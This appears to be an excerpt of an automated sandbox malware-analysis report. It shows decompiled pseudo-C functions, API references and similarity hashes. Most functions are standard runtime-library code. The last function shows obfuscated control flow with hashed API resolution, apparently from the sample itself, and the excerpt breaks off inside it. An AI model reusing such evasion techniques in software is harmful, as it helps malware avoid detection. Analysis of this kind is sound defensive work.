				signed int _t76;
				void* _t77;
				void* _t79;
				void* _t96;

				_t96 = __fp0;
				_t60 = __edx;
				_t49 = __ebx;
				_t74 = _t76;
				_t77 = _t76 - 0x1fc;
				_t16 =  *0x1169060; // 0xce125272
				_v8 = _t16 ^ _t74;
				_push(__esi);
				_t66 = _a4;
				_push(__edi);
				_t63 = E0114D621(_t66);
				if(_t63 == 0) {
					L20:
					_pop(_t64);
					_pop(_t67);
					return E0114942B(_t49, _v8 ^ _t74, _t60, _t64, _t67);
				} else {
					_push(__ebx);
					_push(3);
					if(E011501D6() == 1) {
						L13:
						_push(GetStdHandle(0xfffffff4));
						_pop(_t68);
						_t69 = _t68;
						__eflags = _t69;
						if(_t69 != 0) {
							__eflags = _t69 - 0xffffffff;
							if(_t69 != 0xffffffff) {
								__eflags = 0;
								_push(0);
								_pop(_t56);
								while(1) {
									 *((char*)(_t74 + _t56 - 0x1f8)) =  *(_t63 + _t56 * 2);
									__eflags =  *(_t63 + _t56 * 2);
									if( *(_t63 + _t56 * 2) == 0) {
										break;
									}
									_t56 = _t56 + 1;
									__eflags = _t56 - 0x1f4;
									if(_t56 < 0x1f4) {
										continue;
									}
									break;
								}
								_v9 = 0;
								WriteFile(_t69,  &_v508, E011493A0( &_v508),  &_v512, 0);
							}
						}
						goto L19;
					} else {
						_push(3);
						if(E011501D6() != 0 ||  *0x116ae08 != 1) {
							if(_t66 == 0xfc) {
								L19:
								_pop(_t49);
								goto L20;
							} else {
								_push(L"Runtime Error!\n\nProgram: ");
								_push(0x314);
								_push(0x116ae10);
								_t29 = E011546C5();
								_t79 = _t77 + 0xc;
								_t30 = _t29;
								if(_t30 != 0) {
									L21:
									_push(0);
									_push(0);
									E0114B601(0, _t60);
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("fst qword [esp]");
									E01155FC8(0);
									return E0114D82D(__eflags, _t96, 0, 0);
								} else {
									 *0x116b04a = _t30;
									if(GetModuleFileNameW(0, 0x116ae42, 0x104) != 0) {
										L8:
										_t35 = E0114943A(0x116ae42);
										_pop(_t59);
										if(_t35 + 1 <= 0x3c) {
											L10:
											_push(L"\n\n");
											_push(0x314);
											_push(0x116ae10);
											_t37 = E01154659();
											_t79 = _t79 + 0xc;
											if(_t37 != 0) {
												goto L21;
											} else {
												_push(_t63);
												_push(0x314);
												_push(0x116ae10);
												_t39 = E01154659();
												_t79 = _t79 + 0xc;
												_t94 = _t39;
												if(_t39 != 0) {
													goto L21;
												} else {
													E01155B25(_t59, _t60, _t94, 0x116ae10, L"Microsoft Visual C++ Runtime Library", 0x12010);
													goto L19;
												}
											}
										} else {
											_t42 = E0114943A(0x116ae42);
											_push(3);
											_push(L"...");
											_t59 = 0x116adcc + _t42 * 2;
											_t43 = _t59;
											_push(0x2fb - (_t43 - 0x116ae42 >> 1));
											_push(_t59);
											_t46 = E011547C1();
											_t79 = _t79 + 0x14;
											if(_t46 != 0) {
												goto L21;
											} else {
												goto L10;
											}
										}
									} else {
										_push(L"<program name unknown>");
										_push(0x2fb);
										_push(0x116ae42);
										_t47 = E011546C5();
										_t79 = _t79 + 0xc;
										if(_t47 != 0) {
											goto L21;
										} else {
											goto L8;
										}
									}
								}
							}
						} else {
							goto L13;
						}
					}
				}
			}

APIs

GetModuleFileNameW.KERNEL32(?,0116AE42,00000104,?,00000001,011442F1), ref: 0114D6D7
GetStdHandle.KERNEL32(000000F4,?,00000001,011442F1), ref: 0114D791
WriteFile.KERNEL32(00000000,?,00000000,?,00000000,?,00000001,011442F1), ref: 0114D7E0

Strings

<program name unknown>, xrefs: 0114D6E6
..., xrefs: 0114D71E
Runtime Error!Program: , xrefs: 0114D6A5
Microsoft Visual C++ Runtime Library, xrefs: 0114D77F

Memory Dump Source

Source File: 00000001.00000002.468255473.0000000001141000.00000020.00020000.sdmp, Offset: 01140000, based on PE: true

Associated: 00000001.00000002.468244212.0000000001140000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.468321613.000000000115F000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.468348451.0000000001169000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.468363090.000000000116D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1140000_ipsmsnap.jbxd

Similarity

API ID: File$HandleModuleNameWrite
String ID: ...$<program name unknown>$Microsoft Visual C++ Runtime Library$Runtime Error!Program:
API String ID: 3784150691-4022980321
Opcode ID: af05ced3ef16f2aa539125e765a315bc81e309be6eb163933678190559ee1ec4
Instruction ID: df47aae36a4e1ce4d90b3eaa3014ae43e3fe5becf951ef8df2990a8714d92315
Opcode Fuzzy Hash: af05ced3ef16f2aa539125e765a315bc81e309be6eb163933678190559ee1ec4
Instruction Fuzzy Hash: 13416C31944657A7DF2DB7F8BC89BBE366C9F35F1DF0401B9F924A2180FB62456041A2

Uniqueness

Uniqueness Score: -1.00%

Function 00E614A0, Relevance: 12.2, APIs: 8, Instructions: 171COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(0000007F), ref: 00E614DB
SetLastError.KERNEL32(0000007F), ref: 00E61507

Memory Dump Source

Source File: 00000001.00000002.467956669.0000000000E61000.00000020.00000001.sdmp, Offset: 00E61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e61000_ipsmsnap.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: f89df7aed4cd539867143360ffbe6c8c69b254d22d0e6933075b0fc109ce0904
Instruction ID: 285bac63fe318ab1963c7451d75ab53b601612641918c60dfa7bcb2e650ccc35
Opcode Fuzzy Hash: f89df7aed4cd539867143360ffbe6c8c69b254d22d0e6933075b0fc109ce0904
Instruction Fuzzy Hash: F7710574E40109EFDB08DF94D984BAEB7B2FF58344F289598E516BB351C730AA41DB90

Uniqueness

Uniqueness Score: -1.00%

Function 011526CB, Relevance: 10.7, APIs: 7, Instructions: 209
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 54%

			E011526CB(void* __ecx, signed int __edx, void* __fp0, intOrPtr* _a4, intOrPtr _a8, signed int _a12, char* _a16, int _a20, intOrPtr _a24, short* _a28, int _a32, intOrPtr _a36) {
				signed int _v8;
				signed int _v12;
				void* _v24;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t55;
				short* _t63;
				int _t66;
				short* _t68;
				signed int _t72;
				void* _t75;
				signed int _t79;
				void* _t83;
				int _t88;
				char* _t89;
				void* _t92;
				void* _t93;
				short* _t94;
				void* _t95;
				int _t99;
				int _t100;
				void* _t105;
				short* _t107;
				signed int _t110;
				signed int _t111;
				signed int _t112;
				int _t116;
				void* _t117;
				int _t121;
				void* _t122;
				signed int _t123;
				short* _t124;
				short* _t125;
				signed int _t127;
				void* _t128;
				short* _t130;
				void* _t137;
				void* _t142;

				_t142 = __fp0;
				_t112 = __edx;
				_push(__ecx);
				_push(__ecx);
				_t55 =  *0x1169060; // 0xce125272
				_v8 = _t55 ^ _t127;
				_push(_t93);
				_t121 = _a20;
				if(_t121 <= 0) {
					L7:
					_t116 = 0;
					_t99 = _a32;
					if(_t99 == 0) {
						_t88 =  *( *_a4 + 4);
						_t99 = _t88;
						_a32 = _t88;
					}
					_t100 = MultiByteToWideChar(_t99, 1 + (0 | _a36 != 0x00000000) * 8, _a16, _t121, 0, 0);
					_v12 = _t100;
					if(_t100 != 0) {
						if(__eflags <= 0) {
							L22:
							_t94 = 0;
							__eflags = 0;
							L23:
							__eflags = _t94;
							if(_t94 == 0) {
								goto L10;
							}
							_t63 = MultiByteToWideChar(_a32, 1, _a16, _t121, _t94, _t100);
							__eflags = _t63;
							if(_t63 == 0) {
								L47:
								E01150BA7(_t94);
								_push(_t116);
								goto L48;
							}
							_t123 = _v12;
							_push(0);
							_push(0);
							_push(_t123);
							_push(_t94);
							_push(_a12);
							_push(_a8);
							_t66 = E01150DC4();
							_t130 = _t128 + 0x18;
							_t116 = _t66;
							__eflags = _t116;
							if(_t116 == 0) {
								goto L47;
							}
							__eflags = _a12 & 0x00000400;
							if((_a12 & 0x00000400) == 0) {
								_t116 = _t116;
								__eflags = _t116;
								if(_t116 <= 0) {
									L39:
									_t124 = 0;
									__eflags = 0;
									L40:
									__eflags = _t124;
									if(_t124 != 0) {
										_push(_t116);
										_push(_t124);
										_push(_v12);
										_push(_t94);
										_push(_a12);
										_push(_a8);
										_t68 = E01150DC4();
										__eflags = _t68;
										if(_t68 != 0) {
											_push(0);
											_push(0);
											__eflags = _a28;
											if(_a28 != 0) {
												_push(_a28);
												_push(_a24);
											} else {
												_push(0);
												_push(0);
											}
											_t116 = WideCharToMultiByte(_a32, 0, _t124, _t116, ??, ??, ??, ??);
										}
										E01150BA7(_t124);
									}
									goto L47;
								}
								_t72 = 0xffffffe0;
								_t112 = _t72 % _t116;
								__eflags = _t72 / _t116 - 2;
								if(_t72 / _t116 < 2) {
									goto L39;
								}
								_t105 = _t116 + _t116;
								__eflags = _t105 + 8 - _t105;
								if(_t105 + 8 <= _t105) {
									goto L39;
								}
								_t75 = 8 + _t116 * 2;
								__eflags = _t75 - 0x400;
								if(_t75 > 0x400) {
									_push(_t75);
									_t125 = E01149F2F(_t94, _t112, _t116, _t142);
									__eflags = _t125;
									if(_t125 == 0) {
										goto L47;
									}
									 *_t125 = 0xdddd;
									L38:
									_t124 =  &(_t125[4]);
									goto L40;
								}
								E01156C50(_t75);
								_t125 = _t130;
								__eflags = _t125;
								if(_t125 == 0) {
									goto L47;
								}
								 *_t125 = 0xcccc;
								goto L38;
							}
							_t107 = _a28;
							__eflags = _t107;
							if(_t107 != 0) {
								__eflags = _t116 - _t107;
								if(_t116 <= _t107) {
									_push(_t107);
									_push(_a24);
									_push(_t123);
									_push(_t94);
									_push(_a12);
									_push(_a8);
									E01150DC4();
								}
							}
							goto L47;
						}
						_t79 = 0xffffffe0;
						_t112 = _t79 % _t100;
						__eflags = _t79 / _t100 - 2;
						if(_t79 / _t100 < 2) {
							goto L22;
						}
						_t20 = _t100 + _t100 + 8; // 0x8
						__eflags = _t20 - _t100 + _t100;
						if(_t20 <= _t100 + _t100) {
							_t100 = _v12;
							goto L22;
						}
						_t83 = 8 + _v12 * 2;
						__eflags = _t83 - 0x400;
						if(_t83 > 0x400) {
							_push(_t83);
							_t94 = E01149F2F(_t93, _t112, _t116, _t142);
							__eflags = _t94;
							if(_t94 == 0) {
								L20:
								_t100 = _v12;
								goto L23;
							}
							 *_t94 = 0xdddd;
							L19:
							_t94 =  &(_t94[4]);
							__eflags = _t94;
							goto L20;
						}
						E01156C50(_t83);
						_t94 = _t128;
						__eflags = _t94;
						if(_t94 == 0) {
							goto L20;
						} else {
							 *_t94 = 0xcccc;
							goto L19;
						}
					} else {
						L10:
						L48:
						_pop(_t117);
						_pop(_t122);
						_pop(_t95);
						return E0114942B(_t95, _v8 ^ _t127, _t112, _t117, _t122);
					}
				} else {
					_t89 = _a16;
					_t110 = _t121;
					while(1) {
						_t111 = _t110 - 1;
						if( *_t89 == 0) {
							break;
						}
						_t89 =  &(_t89[1]);
						_t110 = _t111;
						if(_t110 != 0) {
							continue;
						} else {
							_t111 = _t110 | 0xffffffff;
							break;
						}
					}
					_t92 = _t121 - _t111 - 1;
					_t137 = _t92 - _t121;
					_t121 = _t92 + 1;
					if(_t137 >= 0) {
						_t121 = _t92;
					}
					goto L7;
				}
			}

APIs

MultiByteToWideChar.KERNEL32(?,00000000,?,?,00000000,00000000,00000100,00000001,00000000,?,?,?,01152901,00000100,?,00000100), ref: 01152734
__alloca_probe_16.LIBCMT ref: 01152772
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,00000000,?,?,?,01152901,00000100,?,00000100,?,?,?), ref: 011527B4
__alloca_probe_16.LIBCMT ref: 01152840
WideCharToMultiByte.KERNEL32(?,00000000,?,00000000,?,?,00000000,00000000,?,?,?,?,?,?,?,?), ref: 011528A3
__freea.LIBCMT ref: 011528AC

Part of subcall function 01149F2F: __FF_MSGBANNER.LIBCMT ref: 01149F46
Part of subcall function 01149F2F: RtlAllocateHeap.NTDLL(00E90000,00000000,00000001,?,?,?,?,011442F1,00003DB9), ref: 01149F72

__freea.LIBCMT ref: 011528B3

Memory Dump Source

Source File: 00000001.00000002.468255473.0000000001141000.00000020.00020000.sdmp, Offset: 01140000, based on PE: true

Associated: 00000001.00000002.468244212.0000000001140000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.468321613.000000000115F000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.468348451.0000000001169000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.468363090.000000000116D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1140000_ipsmsnap.jbxd

Similarity

API ID: ByteCharMultiWide$__alloca_probe_16__freea$AllocateHeap
String ID:
API String ID: 3735268880-0
Opcode ID: 5dea712b2c03b7e17b321fa485595e913ec7ad1fe2b61bb5b49f6b5f5eeeacb7
Instruction ID: 9e9170f905d7e45ff45c04bc55d1329b570f8efeb0434e616e5189900f18e302
Opcode Fuzzy Hash: 5dea712b2c03b7e17b321fa485595e913ec7ad1fe2b61bb5b49f6b5f5eeeacb7
Instruction Fuzzy Hash: C151B473600116EFEF6D8F98CC84EBE3BA9EB64364F150129FE25E6190D7719C5087A0

Uniqueness

Uniqueness Score: -1.00%

Function 0114B04A, Relevance: 10.6, APIs: 7, Instructions: 90
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 37%

			E0114B04A(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				void* _t22;
				void* _t24;
				intOrPtr* _t29;
				intOrPtr _t30;
				intOrPtr _t34;
				intOrPtr _t35;
				intOrPtr _t43;
				intOrPtr* _t45;
				intOrPtr* _t47;
				intOrPtr* _t48;
				void* _t49;

				_push(0x1c);
				_push(0x1167430);
				E0114B2A0(__ebx, __edi, __esi);
				_t22 = E01150E7E(__ebx, __edi, 8);
				 *(_t49 - 4) =  *(_t49 - 4) & 0x00000000;
				if( *0x116ada8 != 1) {
					 *0x116add0 = 1;
					 *0x116adcc =  *((intOrPtr*)(_t49 + 0x10));
					if( *((intOrPtr*)(_t49 + 0xc)) == 0) {
						_t47 = __imp__DecodePointer;
						_t34 =  *_t47( *0x116cc30);
						 *((intOrPtr*)(_t49 - 0x2c)) = _t34;
						_t35 = _t34;
						if(_t35 != 0) {
							_t29 =  *_t47( *0x116cc2c);
							_t45 = _t29;
							 *((intOrPtr*)(_t49 - 0x1c)) = _t35;
							 *((intOrPtr*)(_t49 - 0x20)) = _t45;
							while(1) {
								L4:
								 *((intOrPtr*)(_t49 - 0x24)) = _t45;
								while(1) {
									_t45 = _t45 - 4;
									 *((intOrPtr*)(_t49 - 0x24)) = _t45;
									if(_t45 < _t35) {
										goto L11;
									}
									__imp__EncodePointer(0);
									if( *_t45 == _t29) {
										continue;
									} else {
										if(_t45 >= _t35) {
											_t30 =  *_t47( *_t45);
											_t48 = _t30;
											__imp__EncodePointer(0);
											 *_t45 = _t30;
											 *_t48();
											_t47 = __imp__DecodePointer;
											 *((intOrPtr*)(_t49 - 0x28)) =  *_t47( *0x116cc30);
											_t29 =  *_t47( *0x116cc2c);
											_t43 =  *((intOrPtr*)(_t49 - 0x28));
											if( *((intOrPtr*)(_t49 - 0x1c)) != _t43 ||  *((intOrPtr*)(_t49 - 0x20)) != _t29) {
												 *((intOrPtr*)(_t49 - 0x1c)) = _t43;
												_t35 = _t43;
												 *((intOrPtr*)(_t49 - 0x2c)) = _t35;
												 *((intOrPtr*)(_t49 - 0x20)) = _t29;
												_t45 = _t29;
												goto L4;
											} else {
												continue;
											}
											goto L12;
										}
									}
									goto L11;
								}
								goto L11;
							}
						}
						L11:
						E0114AFE0(0x115f21c, 0x115f22c);
					}
					L12:
					_t22 = E0114AFE0(0x115f230, 0x115f234);
				}
				 *(_t49 - 4) = 0xfffffffe;
				L15();
				if( *((intOrPtr*)(_t49 + 0x10)) != 0) {
					return E0114B2E5(_t22);
				} else {
					 *0x116ada8 = 1;
					_t24 = E01150FE8(8);
					E0114AEC0( *((intOrPtr*)(_t49 + 8)));
					if( *((intOrPtr*)(_t49 + 0x10)) != 0) {
						return E01150FE8(8);
					}
					return _t24;
				}
			}

APIs

Part of subcall function 01150E7E: EnterCriticalSection.KERNEL32(?,?,0114C32F,0000000D), ref: 01150EA9

DecodePointer.KERNEL32(01167430,0000001C,0114AFA3,00000000,00000001,00000000,?,0114AEF1,000000FF,?,01150EA1,00000011,?,?,0114C32F,0000000D), ref: 0114B097
DecodePointer.KERNEL32(?,0114AEF1,000000FF,?,01150EA1,00000011,?,?,0114C32F,0000000D), ref: 0114B0A8
EncodePointer.KERNEL32(00000000,?,0114AEF1,000000FF,?,01150EA1,00000011,?,?,0114C32F,0000000D), ref: 0114B0C1
DecodePointer.KERNEL32(-00000004,?,0114AEF1,000000FF,?,01150EA1,00000011,?,?,0114C32F,0000000D), ref: 0114B0D1
EncodePointer.KERNEL32(00000000,?,0114AEF1,000000FF,?,01150EA1,00000011,?,?,0114C32F,0000000D), ref: 0114B0D7
DecodePointer.KERNEL32(?,0114AEF1,000000FF,?,01150EA1,00000011,?,?,0114C32F,0000000D), ref: 0114B0ED
DecodePointer.KERNEL32(?,0114AEF1,000000FF,?,01150EA1,00000011,?,?,0114C32F,0000000D), ref: 0114B0F8

Memory Dump Source

Source File: 00000001.00000002.468255473.0000000001141000.00000020.00020000.sdmp, Offset: 01140000, based on PE: true

Associated: 00000001.00000002.468244212.0000000001140000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.468321613.000000000115F000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.468348451.0000000001169000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.468363090.000000000116D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1140000_ipsmsnap.jbxd

Similarity

API ID: Pointer$Decode$Encode$CriticalEnterSection
String ID:
API String ID: 3368343417-0
Opcode ID: edd0e67d1391a884efc35b2c36c92dfb4ef93d7e94783504c1a705a21129245e
Instruction ID: 84fef23d27898b47692dc501f913f06640d42f28239eb01ea0764c29a9c8bed4
Opcode Fuzzy Hash: edd0e67d1391a884efc35b2c36c92dfb4ef93d7e94783504c1a705a21129245e
Instruction Fuzzy Hash: 9631A17194830ADFEF6CAFA8F80579D7FB1AF08B55F10402AE52463294CBB58881CF59

Uniqueness

Uniqueness Score: -1.00%

Function 011436C0, Relevance: 9.1, APIs: 6, Instructions: 93
memoryCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E011436C0(void** _a4, int* _a8) {
				int _v8;
				long _v12;
				void* _v16;
				int _t48;
				void* _t61;

				_v8 = 0;
				_v16 = 0;
				_v12 = 0xffffffff;
				if(_a4 == 0 || _a8 == 0 ||  *_a4 == 0) {
					_v8 = 0x80070057;
				}
				if(_v8 < 0) {
					L12:
					if(_v8 >= 0) {
						_t52 =  &(_a4[2]);
						_v12 = DocumentPropertiesW(0,  *_a4,  &(_a4[2]), _v16, 0, 2);
						if(_v12 != 1) {
							if(_v12 != 2) {
								_push(GetLastError());
								_v8 = E01141730(_t52);
							} else {
								_v8 = 0x80004005;
							}
						} else {
							 *_a8 = _v16;
						}
					}
					if(_v8 < 0 && _v16 != 0 && _v16 != 0) {
						LocalFree(_v16);
					}
					return _v8;
				}
				 *_a8 = 0;
				_t55 =  *_a4;
				_v12 = DocumentPropertiesW(0,  *_a4,  &(_a4[2]), 0, 0, 0);
				if(_v12 <= 0) {
					if(_v12 != 0) {
						_push(GetLastError());
						_t48 = E01141730(_t55);
						_t61 = _t61 + 4;
						_v8 = _t48;
					} else {
						_v8 = 0x80004005;
					}
					goto L12;
				}
				_v16 = LocalAlloc(0, _v12);
				if(_v16 == 0) {
					_v8 = 0x8007000e;
				}
				goto L12;
			}

APIs

DocumentPropertiesW.WINSPOOL.DRV(00000000,00000000,-00000008,00000000,00000000,00000000), ref: 0114371A
LocalAlloc.KERNEL32(00000000,00000000,00000000,00000000,-00000008,00000000,00000000,00000000), ref: 0114372E
GetLastError.KERNEL32(00000000,00000000,-00000008,00000000,00000000,00000000), ref: 01143755
DocumentPropertiesW.WINSPOOL.DRV(00000000,00000000,-00000008,00000000,00000000,00000002), ref: 01143784
GetLastError.KERNEL32(00000000,00000000,-00000008,00000000,00000000,00000002), ref: 011437AB
LocalFree.KERNEL32(00000000), ref: 011437D3

Memory Dump Source

Source File: 00000001.00000002.468255473.0000000001141000.00000020.00020000.sdmp, Offset: 01140000, based on PE: true

Associated: 00000001.00000002.468244212.0000000001140000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.468321613.000000000115F000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.468348451.0000000001169000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.468363090.000000000116D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1140000_ipsmsnap.jbxd

Similarity

API ID: DocumentErrorLastLocalProperties$AllocFree
String ID:
API String ID: 2152683559-0
Opcode ID: 7f5c8b0960d4cc3a8065c4955894bf277ed01f745313753c1500cf42b1dd9159
Instruction ID: edb30d2637361a40a8e4c9828637a27b1405e93717024305f8c6ef466e72dced
Opcode Fuzzy Hash: 7f5c8b0960d4cc3a8065c4955894bf277ed01f745313753c1500cf42b1dd9159
Instruction Fuzzy Hash: 6D4119B4910619FFEF18DF94C949B9DBBB0FB04B1AF20C0A9E9656B280D3745A84CF51

Uniqueness

Uniqueness Score: -1.00%

Function 00409E20, Relevance: 9.1, APIs: 3, Strings: 2, Instructions: 337
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E00409E20(intOrPtr __ecx, intOrPtr __edx) {
				char _v524;
				char _v1044;
				intOrPtr _v1052;
				char _v1056;
				char _v1060;
				char _v1064;
				intOrPtr* _v1068;
				intOrPtr* _v1072;
				intOrPtr _v1076;
				intOrPtr _v1080;
				intOrPtr _v1084;
				void* _v1088;
				intOrPtr _v1092;
				intOrPtr _v1108;
				intOrPtr _v1112;
				void* __ebx;
				void* __ebp;
				void* _t42;
				intOrPtr* _t44;
				intOrPtr* _t46;
				intOrPtr* _t48;
				intOrPtr* _t53;
				signed int _t56;
				intOrPtr* _t59;
				intOrPtr* _t61;
				intOrPtr* _t65;
				intOrPtr* _t66;
				intOrPtr* _t68;
				intOrPtr* _t73;
				intOrPtr* _t76;
				intOrPtr* _t78;
				intOrPtr _t82;
				signed int _t83;
				intOrPtr* _t86;
				signed int _t87;
				signed int _t93;
				intOrPtr* _t105;
				intOrPtr _t106;
				intOrPtr _t111;
				intOrPtr _t163;
				char _t172;
				void* _t173;
				intOrPtr* _t174;
				void* _t176;
				void* _t177;
				void* _t178;
				void* _t179;
				intOrPtr _t180;
				intOrPtr _t181;
				void* _t183;
				intOrPtr* _t184;
				intOrPtr _t185;
				void* _t186;
				void* _t187;
				void* _t188;

				_t186 =  &_v1084;
				_v1076 = __edx;
				_t42 = 0x2a9e9416;
				_v1080 = __ecx;
				while(1) {
					L1:
					_t184 = _v1072;
					_t105 = _v1068;
					while(1) {
						while(1) {
							L3:
							_t172 = _v1064;
							do {
								while(1) {
									L4:
									_t187 = _t42 - 0x1fa3f35c;
									if(_t187 <= 0) {
										break;
									}
									__eflags = _t42 - 0x2b84de29;
									if(__eflags > 0) {
										__eflags = _t42 - 0x2f289ac4;
										if(_t42 == 0x2f289ac4) {
											_t176 = E00403480(0x40db20);
											_t44 =  *0x40e160;
											__eflags = _t44;
											if(_t44 == 0) {
												_t44 = E00403DA0(_t105, E00403E40(0xb2c8050f), 0xd8d12038, _t184);
												 *0x40e160 = _t44;
											}
											 *_t44( &_v524, 0x104, _t176,  &_v1044, _t184);
											_t46 =  *0x40dddc;
											_t186 = _t186 + 0x14;
											__eflags = _t46;
											if(_t46 == 0) {
												_t46 = E00403DA0(_t105, E00403E40(0xef98c369), 0x1d0c230b, _t184);
												 *0x40dddc = _t46;
											}
											_t173 =  *_t46();
											_t48 =  *0x40dcc4;
											__eflags = _t48;
											if(_t48 == 0) {
												_t48 = E00403DA0(_t105, E00403E40(0xef98c369), 0x32b05876, _t184);
												 *0x40dcc4 = _t48;
											}
											 *_t48(_t173, 0, _t176);
											_t111 = _v1092;
											_t42 = 0x1c674673;
											L3:
											_t172 = _v1064;
											continue;
										} else {
											__eflags = _t42 - 0x304b333a;
											if(_t42 != 0x304b333a) {
												goto L49;
											} else {
												_t53 = E00401150(_v1060);
												_t111 = _v1080;
												_t184 = _t53;
												_t163 = _v1076;
												__eflags = _t184;
												_v1072 = _t184;
												_t42 =  !=  ? _t178 : 0x1fa3f35c;
												continue;
											}
										}
									} else {
										if(__eflags == 0) {
											_t56 = E0040A9D0(_t111, _t163,  &_v1044);
											_t111 = _v1080;
											_t186 = _t186 + 4;
											_t163 = _v1076;
											asm("sbb eax, eax");
											_t42 = ( ~_t56 & 0xe5f9fe08) + 0x286e3c4b;
											continue;
										} else {
											__eflags = _t42 - 0x286e3c4b;
											if(_t42 == 0x286e3c4b) {
												_t59 =  *0x40dddc;
												__eflags = _t59;
												if(_t59 == 0) {
													_t59 = E00403DA0(_t105, E00403E40(0xef98c369), 0x1d0c230b, _t184);
													 *0x40dddc = _t59;
												}
												_t183 =  *_t59();
												_t61 =  *0x40dcc4;
												__eflags = _t61;
												if(_t61 == 0) {
													_t61 = E00403DA0(_t105, E00403E40(0xef98c369), 0x32b05876, _t184);
													 *0x40dcc4 = _t61;
												}
												return  *_t61(_t183, 0, _t105);
											}
											__eflags = _t42 - 0x2a9e9416;
											if(_t42 != 0x2a9e9416) {
												goto L49;
											} else {
												_t65 = E004041C0(_t105, 0x50);
												_t105 = _t65;
												_v1068 = _t105;
												__eflags = _t105;
												if(_t105 == 0) {
													return _t65;
												} else {
													_t111 = _v1080;
													_t42 = 0x2b84de29;
													_t163 = _v1076;
													continue;
												}
											}
										}
									}
									L65:
								}
								if(_t187 == 0) {
									_t66 =  *0x40dddc;
									__eflags = _t66;
									if(_t66 == 0) {
										_t66 = E00403DA0(_t105, E00403E40(0xef98c369), 0x1d0c230b, _t184);
										 *0x40dddc = _t66;
									}
									_t177 =  *_t66();
									_t68 =  *0x40dcc4;
									__eflags = _t68;
									if(_t68 == 0) {
										_t68 = E00403DA0(_t105, E00403E40(0xef98c369), 0x32b05876, _t184);
										 *0x40dcc4 = _t68;
									}
									 *_t68(_t177, 0, _t172);
									_t111 = _v1092;
									_t42 = 0x1ceebfe8;
									_t178 = 0x2f289ac4;
									goto L4;
								} else {
									_t188 = _t42 - 0x14a770d2;
									if(_t188 > 0) {
										__eflags = _t42 - 0x1c674673;
										if(_t42 == 0x1c674673) {
											_push(0);
											_push(_t111);
											E00404A80(_t105, 0,  &_v524, _t184, 1);
											_t111 = _v1080;
											_t186 = _t186 + 0xc;
											_t42 = 0x14a770d2;
											goto L4;
										} else {
											__eflags = _t42 - 0x1ceebfe8;
											if(_t42 != 0x1ceebfe8) {
												goto L49;
											} else {
												_t73 =  *0x40e1a4;
												__eflags = _t73;
												if(_t73 == 0) {
													_t73 = E00403DA0(_t105, E00403E40(0xef98c369), 0x427e88ae, _t184);
													 *0x40e1a4 = _t73;
												}
												 *_t73(_v1056);
												_t111 = _v1084;
												_t42 = 0x4b50696;
												goto L4;
											}
										}
									} else {
										if(_t188 == 0) {
											_t76 =  *0x40dddc;
											__eflags = _t76;
											if(_t76 == 0) {
												_t76 = E00403DA0(_t105, E00403E40(0xef98c369), 0x1d0c230b, _t184);
												 *0x40dddc = _t76;
											}
											_t179 =  *_t76();
											_t78 =  *0x40dcc4;
											__eflags = _t78;
											if(_t78 == 0) {
												_t78 = E00403DA0(_t105, E00403E40(0xef98c369), 0x32b05876, _t184);
												 *0x40dcc4 = _t78;
											}
											 *_t78(_t179, 0, _t184);
											_t111 = _v1092;
											_t42 = 0x1fa3f35c;
											_t178 = 0x2f289ac4;
											goto L4;
										} else {
											if(_t42 == 0x4b50696) {
												 *((intOrPtr*)(_t105 + 0xc)) = _t111;
												_t82 =  *0x40e1d0; // 0x0
												 *_t105 = _t82;
												 *0x40e1d0 = _t105;
												return _t82;
											} else {
												if(_t42 == 0x871912d) {
													_t83 = E0040B200( &_v1056,  &_v1064);
													_t111 = _v1080;
													asm("sbb eax, eax");
													_t42 = ( ~_t83 & 0x135c7352) + 0x1ceebfe8;
													goto L3;
												} else {
													if(_t42 != 0xe683a53) {
														goto L49;
													} else {
														_t86 =  *0x40e0a0;
														_t180 =  *0x40e1e0; // 0xec5e90
														_v1052 = _t180;
														if(_t86 == 0) {
															_t86 = E00403DA0(_t105, E00403E40(0xef98c369), 0x461105c9, _t184);
															 *0x40e0a0 = _t86;
														}
														_t87 =  *_t86(_t180);
														_t181 =  *0x40dff4;
														_v1052 = 2 + _t87 * 2;
														if(_t181 == 0) {
															_t181 = E00403DA0(_t105, E00403E40(0xef98c369), 0x37259202, _t184);
															 *0x40dff4 = _t181;
														}
														_t185 = _t181;
														if(_t181 == 0) {
															_t181 = E00403DA0(_t105, E00403E40(0xef98c369), 0x37259202, _t185);
															 *0x40dff4 = _t181;
														}
														_t106 = _t181;
														if(_t181 == 0) {
															 *0x40dff4 = E00403DA0(_t106, E00403E40(0xef98c369), 0x37259202, _t185);
														}
														_t174 =  *0x40dbc0; // 0x0
														if(_t174 == 0) {
															_t174 = E00403DA0(_t106, E00403E40(0xef98c369), 0xa763091d, _t185);
															 *0x40dbc0 = _t174;
														}
